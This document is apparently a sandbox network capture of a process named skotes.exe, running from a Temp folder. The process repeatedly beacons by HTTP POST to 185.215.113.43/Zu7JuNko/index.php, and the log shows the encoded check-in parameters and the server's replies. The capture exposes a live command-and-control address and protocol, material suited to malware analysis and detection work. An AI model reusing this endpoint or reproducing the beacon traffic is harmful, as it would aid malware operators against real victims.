Nov 12, 2024 10:42:19.142271996 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:20.041546106 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	50231	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:21.689527988 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:22.596713066 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	50232	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:24.110411882 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:25.021739006 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	50233	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:26.646888971 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:27.534090042 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	50234	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:29.048990011 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:29.957042933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	50235	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:31.597280025 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:32.499469042 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	50236	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:34.017368078 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:34.930085897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	50237	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:36.569643974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:37.476864100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	50238	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:38.988192081 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:39.894447088 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	50239	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:41.534112930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:42.468605995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	50240	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:43.995368004 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:44.898521900 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	50241	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:46.525615931 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:47.437674999 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	50242	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:48.954185009 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:49.867310047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	50243	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:51.501960993 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:52.397573948 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	50244	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:53.929359913 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:55.084095001 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 12, 2024 10:42:55.084323883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	50245	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:56.708411932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:57.621288061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	50246	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:59.143078089 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:43:00.043556929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	50247	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:43:01.674599886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:43:02.575095892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:43:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	50248	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:43:04.096491098 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:43:04.994513035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:43:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	50249	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:43:06.632344007 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:43:07.551002979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:43:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	50250	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:43:09.064549923 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:43:09.979532957 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:43:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	50251	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:43:11.596317053 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:43:12.496876955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	50252	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:43:14.021328926 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
